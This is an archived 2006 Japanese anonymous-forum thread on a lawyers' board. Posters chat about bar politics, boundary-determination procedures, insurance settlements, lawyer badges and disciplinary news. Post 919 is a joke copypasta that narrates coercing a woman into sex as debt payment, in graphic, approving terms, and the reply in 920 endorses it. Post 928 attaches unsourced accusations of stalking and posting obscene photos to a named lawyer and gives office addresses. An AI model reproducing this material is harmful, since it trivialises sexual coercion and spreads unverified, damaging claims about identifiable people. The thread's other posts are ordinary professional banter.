856 :無責任な名無しさん:2006/03/01(水) 23:42:08 ID:7V+IEaAK
     ___l\|\,,, --――--- 、        >>854
    ヽ                  ヽ    
   /                   ヽ   う・・・この男・・・    
  ∠      /`´ヽ            |
   /   /| /ー--| l、          |    日弁連がもてあます人材の有効活用と
  /_  / 、|/ー--‐ | |‐ヽ|ヽ        |
   |ハ/ ヽ\   ,,-|‐,''二‐''\_,      |    閉塞的な官僚司法打破の一石二鳥・・・    
    |=====ll  ll=======   ヽ |⌒l |
      |ヽ_o_ 〉 丶__o_/    | |⌒| |    発想が常人の思惑の外・・・・     
.     |__/  ヽ___, ∪   |. |0 | |
     |   /             | |_,ノ. |    司法人事の天才     
      | ,/__, -ヽ ヽー--、   ||   |\
      ∠川川川川川川川lゝ | i ∧  |  \    異端の感性・・・・!
.     /'| l二二二二二二l   ./.::::`、 |    |_
    -‐l  |   ≡         /::::::  |     |
.     |   |      ∪   /:::::  /|     | 
.      |   |______/::::: /  |      | 
     |    |\::::::::::::::::::::::::::/   |       | 


857 :無責任な名無しさん:2006/03/01(水) 23:57:47 ID:quZ7hmuO
「判決短い」判事退官へ 横浜地裁 再任希望を取り下げ
http://headlines.yahoo.co.jp/hl?a=20060301-00000008-san-soci

858 :無責任な名無しさん:2006/03/02(木) 00:43:16 ID:0F4zcjf4
【非弁】行政書士等の非弁活動を告発する【犯罪】
http://school5.2ch.net/test/read.cgi/shihou/1141141618/

859 :無責任な名無しさん:2006/03/02(木) 07:15:33 ID:ZpheFqNv
略式で書類送検されて、検察官との面接が控えている場合、
警察での事情聴取時に、どうしても都合が悪く検察に伺えない
日程を伝えておいて良いのでしょうか?

その日程をはずして、検察官との面接日を設定してくれるのでしょうか?



860 :無責任な名無しさん:2006/03/02(木) 09:57:41 ID:q4/ATzFM
検察官からいついつに出頭せよというお手紙が来るので,ダメだったらすぐに連絡を入れて,ちゃんと事情を話す

861 :無責任な名無しさん:2006/03/02(木) 13:27:45 ID:dvlkzc/g
いついつにしてください,って電話したら応じてくれたよ

862 :無責任な名無しさん:2006/03/02(木) 18:56:40 ID:JTosAbhv
クレサラの過払金返還訴訟はかなりおいしかったのに。
もうなくなるのか・・・

863 :無責任な名無しさん:2006/03/02(木) 19:53:45 ID:q4/ATzFM
武部がホリエの応援に必死だった訳

武部が農水大臣だった時、BSE問題でつるし上げ食らった一件があるが
あの時の武部は絵に書いたような官僚の操り田舎議員の代表みたいな大臣だった。
責任を取りたくない農水省の役人の指示に従って、わけもわからず安全安全を口にして
問題を軽んじたことが発端になった。

その当時、孤立した武部の味方になって唯一武部を守ろうとしてくれた
農水省の元役人がいた。
周りの連中に逆らって、いろんな情報を武部にレクチャーし
BSE問題の深刻な状況を知った武部は反省し、問題解決に真摯に取り組んだ。
その元役人こそ、後に自民党から立候補し、亀井派でありながらも
郵政民営化問題で賛成票を投じた故永岡洋治議員である。

永岡氏は賛成票を投じた直後から
延々と続いた亀井派内の陰湿なイジメに耐え切れず自ら命を絶った。
武部は永岡氏を守ってやれなかったことをすごく悔やんでいた。
武部がなぜあのように必死にホリエを応援しのか?
その事情を知る者であれば、あれが亀井に対する代理戦争であったことは
誰もが納得する現象であったはず。

そして武部が何故小泉に心酔し、自らを偉大なるイエスマンと称するのかも
自然と分かるというものである
あのBSE騒動の時、小泉は武部を見捨てもしないが、助け舟も出さなかった。
「最後まで責任を持って職務を遂行しろ」と突き放したのである。
武部が政治家として始めて国民と向き合い、自立したのである。



864 :無責任な名無しさん:2006/03/02(木) 20:10:02 ID:ut5fuwEM
業過や業過死の弁護人として,任意保険会社の示談に同行して嘆願書をお願いしてますか?
保険会社の人に一緒にお願いしちゃダメでしょうか。


865 :無責任な名無しさん:2006/03/02(木) 23:39:07 ID:Qfa29oL/
嘆願書書くとなったら、支払われる保険金額が上がるかもしれない
ってことで、嫌がられるんじゃないの?
実刑付かないんだったら無理しなくて良いんじゃないの

866 :無責任な名無しさん:2006/03/02(木) 23:50:45 ID:bb3agOuw
>858これも非弁では、はびこってますね
gyousei.ono-office.jp


867 :無責任な名無しさん:2006/03/03(金) 00:31:21 ID:qtJ2J95T
「法務事務所」っていうの最近よく見かけるけど、あれって誤導しているようにみえるんだけど。
いいのかいな?

少なくとも弁護士法74条1項に類似名称の使用禁止を追加するべきだ。

868 :無責任な名無しさん:2006/03/03(金) 00:32:55 ID:qtJ2J95T
誤導っていうよりは、誤認させているといった方が正確か。

869 :無責任な名無しさん:2006/03/03(金) 06:38:24 ID:RK911Rtf
筆界特定制度がもう始まってるけど,いま手がけてる香具師いる?
境界確定の訴訟と同時に出来るわけだけど、法務局の結論と違った結論が
判決で出たらどーすんだ?

870 :無責任な名無しさん:2006/03/03(金) 10:20:23 ID:pzs7bwEX
>>869
判決優先。
筆界特定制度の申立ての要件に、境界確定に関する訴訟の存在しないことというのがある。

871 :無責任な名無しさん:2006/03/03(金) 10:34:38 ID:9fwpUgFG
 筆界特定制度って、どれくらいのレベルで調査して、判断するのかな。
 相手方が立ち入りを拒否していて、測量図の作成も困難な案件があるので、申し立ててみようと思うのだけれど。


872 :無責任な名無しさん:2006/03/03(金) 17:56:55 ID:mU31ndhY
事務員使えねー。
示談の相手方から昨日の昼間に電話があって「夜に電話下さい」って言われてるのに,その受信簿を今日の昼間に見せられた。
使えないどころか,依頼者に迷惑をかけてるのが許し難い。
クビにしてー。
解雇無効が怖くてなかなかクビにできないYO!

873 :無責任な名無しさん:2006/03/03(金) 18:27:28 ID:j3470VWI
日本司法書士自立支援センター「法テラス」

日本弁護士自立支援センター「法テラス」

874 :無責任な名無しさん:2006/03/03(金) 19:46:56 ID:tWzMNjtT
寄宿舎制度でつか?

875 :TN:2006/03/03(金) 19:56:44 ID:jGmCwSsK
障害者自立支援法みたいだな

876 :無責任な名無しさん:2006/03/03(金) 20:38:34 ID:Ea8eZQCG
法テラスに雇用内定した弁護士って,結局何人くらい いるの? 
タイムチャージ(時給)4000円くらいで,経費負担なしなら,結構
良い就職口かも知れないけどさぁ? そんなところに就職して夢とか生
生き甲斐とか「Bになって良かった」とか思えるのかね? 
ところで今日の日弁総会だけど,情報希望。漏れは地裁支部で当事者尋
問があったので,代理人選任届を出しておいた。

877 :無責任な名無しさん:2006/03/03(金) 20:50:33 ID:Ea8eZQCG
RCCは確かタイムチャージ20000円だろう? まぁ,中坊さんの下
で働いていたのだから,それなりに働きがいはあったのかも知れ
ない(ワラ)。フルタイムで働いているわけでもないのだろうし。
法テラスの雇用弁護士ってやっぱり,法テラスの事務局オフィス
で働くのだろうか? うるさそうな事務局長(非弁)に指揮命令
されたり,コーヒーなんかは,自分で汲んだりするのだろうか?
お客様へのお茶だしとかも自分でやるのかね? 事件記録のファ
イリング(パンチで穴を開けたり,甲○号証とか提出証拠控えに
スタンプ押したり。書類直送でファックスを入れたり)事務員さ
ん的な仕事も背負い込むと結構大変かも知れない。

878 :無責任な名無しさん:2006/03/03(金) 20:50:40 ID:4tmpv5IT
しょうもない質問よかですか?
弁護士バッヂって付け方決まってるの?
ペンダントとか、ピアスとかにしちゃだめ?

879 :無責任な名無しさん:2006/03/03(金) 20:55:17 ID:Ea8eZQCG
いわゆる弁護士バッチですが,駒みたいにして回すと,2分くらい回り
ます。自動車のタイヤに踏まれてバッチが壊れて再交付申請した弁護士を
知っています。
漏れはデザインがエレガントじゃないし,スーツに付けたりはずしたりす
るのが面倒なので,普段は佩用していません。東京地高裁に行くときは,
所持品検査がスルーできるので,そのときだけは付けています。

880 :無責任な名無しさん:2006/03/03(金) 20:58:44 ID:GyEAwYa0
864 :無責任な名無しさん :2006/03/02(木) 20:10:02 ID:ut5fuwEM
業過や業過死の弁護人として,任意保険会社の示談に同行して嘆願書をお願いしてますか?
保険会社の人に一緒にお願いしちゃダメでしょうか。

今、損害保険側の弁護士として、刑事の弁護人と共同で民事もやっている。
被害者側の過失をもっと主張したいが、刑事の弁護人に反対されている...
めちゃくちゃやりにくい。

示談は、損害保険契約で填補する損害賠償としては○○円ですので、保険会社は○○円まで
しか払わないが、ひき逃げetcの分については、あんた(加害者・被告人)の故意による
慰謝料の増額事由となるので、あんた(加害者・被告人)が自腹で払ってくださいということ
で逃げるのがよいのではw

881 :無責任な名無しさん:2006/03/03(金) 21:49:19 ID:9fwpUgFG
 漏れも損保弁護士だが、損保の側に立つと多少時間がかかっても賠償金は低いほうがいいし、被告人の立場に立つと高くても早いほうがいい。
 というわけで、同一人物について両方はしないようにしている。

 まぁ、損保からの支払いだけで嘆願書を貰おうなんて、ずいぶん厚かましい被告人だなぁと感じます。
 嘆願書が欲しいなら、被告人が自腹を切るべきでしょう。



882 :無責任な名無しさん:2006/03/03(金) 21:51:38 ID:Omp0eug3
厚かましいのは、被告人じゃなくて、>>864の弁護人。

883 :無責任な名無しさん:2006/03/03(金) 22:27:13 ID:zqMPQ3BZ
筆界特定は言わば公の線引きなわけだよね。
でも、よく言う境界ってのは所有権界ってことでしょ?
でもって裁判で決めるのは筆界ということになるわけで・・・・
特定制度ってなんかいみあるんか??
法務局の筆界特定の登記官は護衛が必要になるだろうな、ヘタすりゃ刺されるwww

884 :無責任な名無しさん:2006/03/03(金) 23:03:38 ID:PEbMsdnB
弁護士の人って、大体何歳ぐらいで結婚してる人が多いのですか?
独身率と既婚率はどちらが高いですか?
あと、お見合いで決める人とか、多そうなのですが、どうなのですか?

885 :無責任な名無しさん:2006/03/03(金) 23:25:01 ID:LNlBk6nd
>>882
でしょうな。
自分では熱心にやってるつもりが他人には迷惑
みたいな。

何が何でも嘆願書取らないといけない訳じゃないのに


886 :無責任な名無しさん:2006/03/03(金) 23:49:41 ID:LNlBk6nd
さっきコンビに行ったら、ガキが安いお菓子をポケットに入れて店を出て行ったんだよ。

それで俺もそのまま追いかける形で店出たら、
そのガキが5〜6軒先の本屋の前で立ち止まって、
店の外で回転するラックんとこで昆虫図鑑みたいの見始めたんで声をかけたのよ。
「さっきの店から持って来たモン、俺が謝って返しといてやるから。もうやるな」って。
そのガキ、しばらく唇噛みながら俺をじっと見つめてたんだが、
だんだん目に涙が浮かんで来て
「ごめんなさい」
って言いながらポケットから菓子出して俺に渡した。
色々有ると思うけど、男はどんな時でも間違った事だけはしちゃいけねえよ
みたいな事を軽く説教してやった。
ガキはずっと黙ってたが、俺がじゃあなって行こうとしたら、
後ろから袖を引っ張って、俺の目を真っ直ぐ見つめながら
「もう絶対しない・・・男だから」
って強い口調で言った。そんで、







俺、その菓子食いながら家に帰った。


887 :無責任な名無しさん:2006/03/04(土) 01:24:54 ID:apboAhhv
バッチなくした。どうせだから、メッキじゃないのにしようかな


888 :無責任な名無しさん:2006/03/04(土) 02:12:21 ID:pUIv+XMF
>>884
俺と付き合ったら教えてあげる

889 :884:2006/03/04(土) 02:19:27 ID:PWK3B5TF
男だけどいいですか

890 :無責任な名無しさん:2006/03/04(土) 02:42:16 ID:pUIv+XMF
性転換してもブスだろうから前言撤回

891 :無責任な名無しさん:2006/03/04(土) 09:27:44 ID:luMl6rkv
>>887
メッキじゃないのはいくらだっけ?結構高いよな?
あと,銀のやつはメッキじゃなくてラッカーだと思う。
塗装されているよね?

892 :無責任な名無しさん:2006/03/04(土) 11:29:30 ID:qkFgDseF
>>883
>でも、よく言う境界ってのは所有権界ってことでしょ?

もちろん非弁だよな。頼むからプロだなんて言わないでくれ。

893 :無責任な名無しさん:2006/03/04(土) 11:32:43 ID:BMlFhY7X
確か銀製は1万円の基本料金のみ。
金にすると6万円とか追加料金を取られるはず。

俺は,値段を聞いて,再度,必死に探したら出てきた。

894 :無責任な名無しさん:2006/03/04(土) 11:50:35 ID:N8Z17rUF
>892
刑訴・刑事政策選択の弁護士かもしれないと言ってみるてすと

895 :無責任な名無しさん:2006/03/04(土) 12:35:57 ID:qkFgDseF
>>894
あっそうか、刑訴・刑事政策選択で、民裁修習しなかった弁護士だったらあり得るかもな。









って、そんなやつおるかーーーーーい!

896 :無責任な名無しさん:2006/03/04(土) 12:55:10 ID:YmpXfUNk
そういや最近バッチ見ないな。どこ行ったんだろ・・・

897 :無責任な名無しさん:2006/03/04(土) 12:58:13 ID:I5/l84CQ
民訴選択だったけど、
未だに、警戒確定の訴えが所有権を離れて行われることに
納得がいきまへん。うーん。

898 :無責任な名無しさん:2006/03/04(土) 14:26:01 ID:4zcbsvSU
弁護士になってよかったなぁ、ってことは何ですか?

899 :無責任な名無しさん:2006/03/04(土) 14:31:44 ID:qkFgDseF
独立してよかったなあと思うことはあるが、弁護士になっただけだと(イソ弁時代)は
あまり楽しいことなかった。
まあ、普通の企業家より簡単に独立できるし、在庫貯めこんじゃうようなこともないから
それはそれでよかったことかな。

900 :TN:2006/03/04(土) 14:50:45 ID:f+5JUeN8
イソ弁というのはリーマンより辛い立場
(弁護士一般の人間性に基づく)
弁護士になってよかったと思うのは
どんな職業についても一緒だな
と達観できるようになったこと
(人間社会の様々な局面を見たことによる)

901 :無責任な名無しさん:2006/03/04(土) 16:14:37 ID:uaUxPZix
おバカな質問ごめんなさい。
皆様ホステスさんに携帯番号やメルアド教えることってあります?

902 :無責任な名無しさん:2006/03/04(土) 16:50:16 ID:lEpesMTn
あるよ。

903 :無責任な名無しさん:2006/03/04(土) 17:53:41 ID:lOatw8qJ
こんにちはイソ弁です
今日は朝10時から仕事してます

904 :無責任な名無しさん:2006/03/04(土) 17:55:10 ID:lOatw8qJ
>>901
割と良くあります

905 :無責任な名無しさん:2006/03/04(土) 19:43:39 ID:pUIv+XMF
>>898
東京の渉外弁護士にならなくてよかったと思うこと。追いつめられていた一市民が、本当に助かりました、こんなに幸せになっていいんでしょうかと喜んでくれること。

906 :無責任な名無しさん:2006/03/04(土) 21:34:43 ID:/8ZBcGNl
丸山弁護士とかはどれくらい貰ってるんだろ。

弁護士で稼いだ金よりテレビのギャラのが多そうだな・・・。

907 :無責任な名無しさん:2006/03/04(土) 21:38:18 ID:Rj5GAkTq
金よりも知名度アップがうれしんちゃうか

TVの取材受けただけで嬉々としてブログにアップする弁護士がいるご時勢だから・・・

908 :無責任な名無しさん:2006/03/04(土) 22:32:40 ID:Hfrdo++O
>>898
確定申告書類を作ってみたら,意外と自分が稼いでることを知り,ほくそ笑むこと。

909 :無責任な名無しさん:2006/03/04(土) 23:02:37 ID:+6Fe9j3e
>>898
自分が受任したことで
自殺や犯罪をせずにすんだ人が
1人くらいはいるだろうと思えること。


910 :無責任な名無しさん:2006/03/05(日) 12:06:12 ID:mgpztYlO
>>909
そう思わないとやってらんないよね。

911 :901:2006/03/05(日) 17:53:36 ID:qknIlpvc
ホステスさんに携帯番号やメルアド教えたり
名刺渡したりしたときの不都合って大きいですか?
名刺くれとか言われるんですが、営業の電話や
メールや手紙がドドッと来るのでしょうか。
あと教えたら迷惑メールが来始めるとか…。
私はまだ期が浅く稼ぎがないので金にはならんと思うけど。

912 :無責任な名無しさん:2006/03/05(日) 19:48:36 ID:dOAVJzPB
一回自分の民事裁判に出たいんだけど、裁判官室という密室で
お互い提訴し合っている相手と冷静に向き合う余裕がない・・・
やはり裁判官に顔見せておいた方が得でしょうか。


913 :無責任な名無しさん:2006/03/05(日) 20:31:09 ID:1rGz0kDQ
第1号議案,第2号議案って,結局どういう結果になったの?

914 :無責任な名無しさん:2006/03/05(日) 20:43:44 ID:dnDNRv7S
確か説明会は1人1000円払う必要があった。
何人が依頼するか・・・。
http://www.livedoor-higaibengodan.jp/

ライブドア株主被害弁護団、都内で説明会 1千人集まる
2006年03月05日20時38分

ライブドア(LD)グループの証券取引法違反事件に絡み、「ライブドア株主被害弁護団」(米川長平団長)は5日、損害を被った株主への説明会を東京都千代田区の九段会館で開いた。

約1000人の個人投資家らが集まった。今年9月をめどに堀江貴文前社長ら旧経営陣らに損害賠償を求める集団訴訟を起こす方針。米川団長は「訴訟でLDの虚構の解明、真実発見を目指し、被害回復を図る」と訴えた。

弁護団から消費者問題に詳しい弁護士など約20人が出席。損害額をどうはじき出すかや、どんな人が原告になれるかなどについて説明した。

出席した埼玉県志木市の無職男性(62)は
「蓄えてきた200万円を投じたが、10分の1になった。怒りがおさまらない」
と話す。横浜市に住む会社員の男性(59)は妻と参加した。昨年末、LD株に約300万円を投資したという。
「通常の株での損は自己責任だが、今回は違う。LDは財務内容がよいと言っていた。市場へのウソは許せない」
と憤慨していた。




915 :無責任な名無しさん:2006/03/05(日) 20:45:20 ID:dnDNRv7S
>>911
事務所にダイレクトメールが来るよ。
実害があるとすれば、事務員や秘書に「センセーこんな店行っているんですか?」と言われることくらい。

916 :911:2006/03/05(日) 23:27:19 ID:q4akFgcF
>>915
なるほど。
ありがとうございます。

917 :無責任な名無しさん:2006/03/05(日) 23:32:52 ID:3ZgHNLiA
>>916
いわずもがなだがピンサロでは名詞はご法度!
ボス弁に教わった(若いころに事務員に総スカンだすです)

918 :無責任な名無しさん:2006/03/06(月) 00:27:21 ID:ovPda5zU
後は携帯のアドレスなら同伴の誘いがあるね
好きにすればよい

919 :無責任な名無しさん:2006/03/06(月) 00:37:16 ID:ovPda5zU
ヤベーな。オイ。前、俺のベンツにカマ掘りやがったのがいたのよ。それが25歳の女でよ。
額切っちゃってたから激怒して、その場で一筆書かせてやったのよ。
その女、旦那と別れて狭いアパート暮しで2歳の子供までいやがんの。
金払えないなんてふざけた事ぬかしやがるから体で払えって。
ちょっと生活疲れしてるけどスレンダーで結構好みだったから萌。
シクシク泣くのを無視してストリップやらせて萌。
んで、その後は無理やりJrをぶち込みまくり。
溜まってたから濃いのがいっぱい出たよ。
もちろん中田氏。
一晩2万ということで体で払わせることにして、それから週3ペース。
俺の大好きなローションプレイさせたり、縛り上げて写真撮影したりで。
尻の穴まで舐め回してやって泣きながら力無く抵抗してあえぐのがまた萌。
しばらくしたら俺が行く日は晩飯作って待ってやがるからバカな女よ。
で、何がヤバイって、その女の2歳の娘。
俺になついちゃって、可愛いのなんのって。
パパ呼ばわりよ。
この前なんて少ない小遣いで買ったキャンディーを俺にプレゼントだってよ。
ぎゅっと握った小さい手の中に、ちょっと溶けたキャンディー。
今では俺はその娘の父親。その時もらったキャンディーはもちろんヴェルタースオリジナル。
なぜなら彼女もまた、特別な存在だからです。


920 :無責任な名無しさん:2006/03/06(月) 00:50:34 ID:uEgYWIM5
>>919
実話なら、結果よければ全てよし
幸せな家庭を築いてね

921 :無責任な名無しさん:2006/03/06(月) 02:07:22 ID:RoaGTLGl
日本公証人連合会バンザイ!

日本公証人連合会は、司法書士による定款の代理作成が適法との認識がなくても、司法書士が代理作成した定款を認証して差し支えない旨の速報を出した。
日本公証人連合会バンザイ!
日公連速報平成18年3月1日第203号バンザイ!

922 :無責任な名無しさん:2006/03/06(月) 02:38:49 ID:P0lavxYf
ここは司法書士のサイトですか


923 :無責任な名無しさん:2006/03/06(月) 18:57:45 ID:xJxPUp7W
【社会】提訴していないのに「勝訴」と判決文偽造、弁護士懲戒 依頼者に自腹で請求額支払う
http://news19.2ch.net/test/read.cgi/newsplus/1141638632/

924 :無責任な名無しさん:2006/03/06(月) 21:24:27 ID:DtirRiFD
>>923
分かる気がする。○○な依頼者に頭下げるより、自腹切るほうがまし

925 :無責任な名無しさん:2006/03/06(月) 21:35:18 ID:/1SkH6qg
>>924
自腹切る前に辞任するだろ
普通

926 :無責任な名無しさん:2006/03/06(月) 21:46:09 ID:Gm2CyH85
これがほんとのバカ殿判決w

927 :匿名:2006/03/06(月) 22:57:36 ID:kz7I83zq
司法ジャーナル2004年6月28日号ニュース速報
その4より
【弁護士懲戒】大阪弁護士会、
北尻総合法律事務所の工藤展久氏を戒告処分に
●弁護士12年のキャリア
日弁連は2004年6月25日付の官報に
大阪弁護士会が78年度日弁連会長を努めた弁護士会の長老、北尻得五郎氏(88)が主宰する
北尻総合法律事務所の工藤展久(42)=92年登録、44期=を戒告処分にした旨を公告した。


928 :匿名:2006/03/06(月) 22:59:00 ID:kz7I83zq
公告
大阪弁護士会がなした懲戒の処分について、同会より以下のとおり通知を受けたので、懲戒処分の公告及び公表に関する規定第3条1号の規定により公告する。
                  記
1懲戒を受けた弁護士 氏名 工藤展久
登録番号22505
事務所 大阪府大阪市北区西天満6-7-4 大阪弁護士ビル501
北尻総合法律事務所 住所 大阪府吹田市千里山東4-8-3-604
2懲戒の種別 戒告
3処分の理由の趣旨
被懲戒者は、A及びBからCの懲戒請求者に対する預託金返還請求訴訟の依頼を受け、
Cの委任意思を直接確認しないまま、
Aらの用意したCの委任状などを用いて、
2001年11月13日訴訟を提起し、2002年3月29日、
全面勝訴の判決を得た。
その後、Cが本件に全く関知していないことが判明し、控訴審においては、同9月4日、
本件訴訟の提起及び追行が無件代理行為で不適法なものであることを理由に一審判決が取り消され、
訴えを却下する旨の判決が言い渡された。
被懲戒者は、1998年頃からAの紹介で数件の預託金返還請求事件を処理しており、
本件においては、C名義のゴルフ入会保証金預かり証書の原本を預かるなどの事情があったとしても、
被懲戒者がCに対し本件訴訟提起の意思を直接確認するべきであった。
それにもかかわらず、被懲戒者がこれを怠り、
本件訴訟を提起し、追行したことは、
Cが懲戒を求める意思がないことなどの事情を勘案しても、
裁判の公正及び適正手続の実現に努める弁護士の義務を怠り、かつ弁護士に対する社会の信用を失わせるものである。
以上の被懲戒者の行為は、
弁護士法第56条第1項の品位を失うべき非行があったときに該当する。
4 処分の効力の生じた2004年5月24日
2004年8月1日 日本弁護士連合会
「日本弁護士連合会の発行書物
自由と正義の平成16年8月号」より
別で、ある女性にストーカーをして、ネットにエロ写真を貼り、「レイプして自殺させるか殺してくださいな」とある。悪徳三流エロストーカー弁護士や事務所に依頼すると危険。http://search.yahoo.co.jp/search?p=%B9%A9%C6%A3%C5%B8%B5%D7&fr=top&src=top
「工藤展久」「北尻総合法律事務所」で、検索を。

929 :無責任な名無しさん:2006/03/06(月) 23:19:41 ID:HY2Hb3WV
【社会】 痴漢弁護士、今度は女子高生のスカート内に手を入れる…東京
http://news19.2ch.net/test/read.cgi/newsplus/1141635739/

1 ☆ばぐた☆ ◆JSGFLSFOXQ @☆ばぐ太☆φ ★ off_go@yahoo.co.jp New! 2006/03/06(月) 18:02:19 ID:???0
★女子高生のスカートに手を…地下鉄車内で弁護士逮捕

・地下鉄の車内で女子高生に痴漢をした東京の弁護士が現行犯逮捕されました。
 この弁護士は、3年前にも痴漢で逮捕されています。

 逮捕されたのは、第二東京弁護士会に所属する福田真人容疑者(34)です。
 福田容疑者は先月27日の朝、東京メトロ有楽町線の小竹向原と千川の間で、
 女子高生のスカートの中に手を入れるなど、わいせつな行為をした疑いが持たれて
 います。福田容疑者は容疑を認め、すでに釈放されています。

 福田容疑者は2003年1月にも、JR埼京線の車内で女子中学生に痴漢をして逮捕され、
 罰金40万円の有罪判決を受けています。さらに、弁護士会からは、3カ月の業務
 停止処分を受けていました。
 http://headlines.yahoo.co.jp/videonews/ann/20060306/20060306-00000018-ann-soci.html

※動画:http://meta.cdn.yahoo-streaming.jp/cgi-bin/yahoo/news.asx?cid=20060306-00000018-ann-soci-movie-001&media=wm300k
※画像:http://ca.c.yimg.jp/news/1141627487/img.news.yahoo.co.jp/images/20060306/ann/20060306-00000018-ann-soci-thumb-000.jpg



930 :無責任な名無しさん:2006/03/06(月) 23:31:28 ID:pEy/ef8n
あーあ,今度は実刑かな。

931 :無責任な名無しさん:2006/03/06(月) 23:42:59 ID:uEgYWIM5
猶予でしょう

932 :無責任な名無しさん:2006/03/06(月) 23:59:33 ID:DtirRiFD
覚せい剤と万引きと痴漢は病気的な人が多いと思う。最判するね。
今回は、業務停止2年くらいか?


933 :無責任な名無しさん:2006/03/07(火) 00:13:38 ID:hhjK/lyK
イメクラで発散すればよろし>痴漢趣味

934 :無責任な名無しさん:2006/03/07(火) 00:14:07 ID:eMvoYpbk
>>930
非弁乙

>>929
同期だ・・・orz

935 :無責任な名無しさん:2006/03/07(火) 00:25:38 ID:a5HmfSal
>>934
たしか、こいつ、前回の懲戒のときは、事務所の経営上釈放されるために
罪を認めただけで、やってない。とかいってたような気がする。

やっぱやってたのか

936 :無責任な名無しさん:2006/03/07(火) 01:10:44 ID:DbBC7V8c
       _,.r::'::::::::::::::-.、
       r::::_;:---、、;;::-'ー、ヽ
      /':::i'         ヾi
    ,,.r、:::::::i        .: ll
    rr;i:::,r:::::!  _,,,__,  _,,,..._ .l:i
   ヾ:r::;:-、:r  i'tテ;:. i:'tテ:r i::ヽ
    `ヾ::rt'    ´  '  l::. ´ !r'
        ヾ.ィ     -、ノ:.  l
        ./!、   ー-‐;':. /
        / ヾ ヽ、   '  /
      ∧   ヽ ` 7‐r_'/ヽ
     ,r  ヽ、   ` <ニrヽ 〉
   ,r'        -、     ヾ il l、
  r            ̄ t- ヾi: lヽ

    ホーソレデ[Edward Horsorde]
     (1765〜1822 ノルウェー)

937 :無責任な名無しさん:2006/03/07(火) 05:30:42 ID:LBkABQOq
http://www.nhk.or.jp/gendai/kiroku2006/0603fs.html


3月6日(月)放送
弁護士は増えたけれど

今、司法改革の一環として弁護士の倍増が進められている。多様化する経済活動への支援と市民への法律サービスの
二つを充実させるのが目的だ。しかし、改革が始まって5年、課題も見えてきた。買収などの需要増加を追い風に、
企業法務を扱う巨大な弁護士事務所が増える一方で、儲けの薄い「町医者」的な活動をする弁護士が伸び悩んでい
るのだ。弁護士会の中には、市民サービスへの参加を義務づけるところも現れた。また、増加によって期待された
都市と地方の格差解消も進まず、むしろ東京集中がより強まっている。事件や訴訟の増加する中で、地方の弁護士
不足はより深刻になっている。弁護士大増員の中で起きている異変と課題を検証する。
(NO.2209)

スタジオゲスト :

梶谷 剛さん 
    (日本弁護士連合会・会長)

938 :無責任な名無しさん:2006/03/07(火) 06:36:41 ID:ogeM2vul
しかし博多公証役場のサイトには掲載されていないな。
公証人の中で対応がチグハグになりそうな予感。
司法書士の定款作成が適法と明白に言えないと明言しておきながら、認証して差し支えないなんて言い出したら、公証制度の歴史上の汚点になるね。

939 :無責任な名無しさん:2006/03/07(火) 10:46:13 ID:JfqBKnWh
こんな研修所のそばで…

940 :無責任な名無しさん:2006/03/07(火) 13:08:35 ID:ztRmq0WC
>>937
田舎の弁護士不足も緩やかに解消しつつあると思うけどなぁと田舎者が言ってみるテスト

941 :無責任な名無しさん:2006/03/07(火) 15:42:35 ID:d/qH8yXd
俺も東京から登録替えして田舎でヤリたい。

942 :無責任な名無しさん:2006/03/07(火) 15:54:05 ID:ViaapZzo
登録換え数年で過払い5億円ってすごいね。>NHKに出てた人
弁護士がいない地域でいかに業者が稼ぎまくってたか分かる。

943 :無責任な名無しさん:2006/03/07(火) 17:48:27 ID:QhUsW7+k
>>929
公判請求されるのかなぁ
かわいそうには思わない。

>>940
僕もそう思う。

>>941
都会と同じように金取ってたら,ぼったくりと言われるから注意してね

944 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/03/07(火) 17:50:39 ID:Hc13azdN
そろそろ次スレのタイトル考えませんか。

945 :無責任な名無しさん:2006/03/07(火) 18:11:31 ID:bxoF01Sd
>>940
ウチの田舎は解消する気配もありません。
解消しなくてもいいけど・・・

946 :無責任な名無しさん:2006/03/07(火) 18:11:44 ID:ZNW20LPB
ところで、最近はMS先生を見かけないけど、どうしたのかな。
仕事に忙しいのか、2ちゃんねるに飽きたのか。

947 :無責任な名無しさん:2006/03/07(火) 22:20:24 ID:vXQ20scI
>>945
昨日のNHKで特集やってたぞ
地方に行った弁護士は依頼引っ切り無しになってた。

東京に固まりすぎ。

948 :MS754 ◆yGUnQdhyV2 :2006/03/07(火) 22:31:37 ID:hMIGEtPM
>>946
実は他の板で忙しいのです。

949 :無責任な名無しさん:2006/03/07(火) 22:36:57 ID:yOQxjn9T
>>929
公判請求されると、よくて執行猶予だよね。
執行猶予でも登録抹消だっけ?実刑じゃないといいんだっけ?
非弁じゃないよ。

950 :無責任な名無しさん:2006/03/07(火) 23:42:29 ID:hhjK/lyK
>>949
>執行猶予でも登録抹消だっけ?実刑じゃないといいんだっけ?
そんなことも知らないから非弁と呼ばれる

951 :無責任な名無しさん:2006/03/08(水) 00:15:38 ID:D41NScRb
いずれにせよ、まともな弁護士活動は出来なくなるのでは?

952 :無責任な名無しさん:2006/03/08(水) 00:43:58 ID:SMwvh3/5
最近困った弁護士の報道多いね

953 :無責任な名無しさん:2006/03/08(水) 03:17:24 ID:K1FWSm74
弁護士の人数も増えたからね。
悪貨に良貨が駆逐されないことを祈るばかりだ。

954 :無責任な名無しさん:2006/03/08(水) 08:40:56 ID:4cAFu8tE
悪貨どうしで醜く争う、って今と同じでしょ。

955 :無責任な名無しさん:2006/03/08(水) 09:13:37 ID:qYvgKeQC
執行猶予がついても当然に弁護士として欠格事由になる。
したがって、当然に登録抹消となる。

問題は、執行猶予期間が満了した場合には、刑の言い渡しの効力が
失われることとの関係だが、条解弁護士法によれば、当然に
弁護士資格が回復する、となっている。

但し、実際に弁護士として活動するためには、単位会への再登録が
必要となるので、弁護士法12条1項(弁護士会の秩序若しくは信用を
害する虞がある者(中略)について請求の進達を拒絶できる)との
関係で、登録進達拒絶の理由となる場合がある。

以上が公式の取扱。

956 :無責任な名無しさん:2006/03/08(水) 11:53:42 ID:k9gWCIAO
再登録は拒否されるだろうなあ。
鬼頭元判事補と同じように。

957 :無責任な名無しさん:2006/03/08(水) 12:11:35 ID:pZn4eQ4k
運転中に死亡・重傷事故を起こさないように気を付けないといけないな。
交通手段の発達していない地方在住なので、本当にその危険があるよ。
でも交通事故(酒気帯びではなく前方不注視等)だったら、執行猶予明けに
登録させてもらえるかな。

958 :無責任な名無しさん:2006/03/08(水) 12:31:47 ID:B3f49GJZ
絶対に事故を起こさないということは不可能だと思う。

俺は,事故に巻き込まれても罰金で済むよう
日頃から注意し,また,示談金として
即金で2000万円まで支払えるよう
準備している。

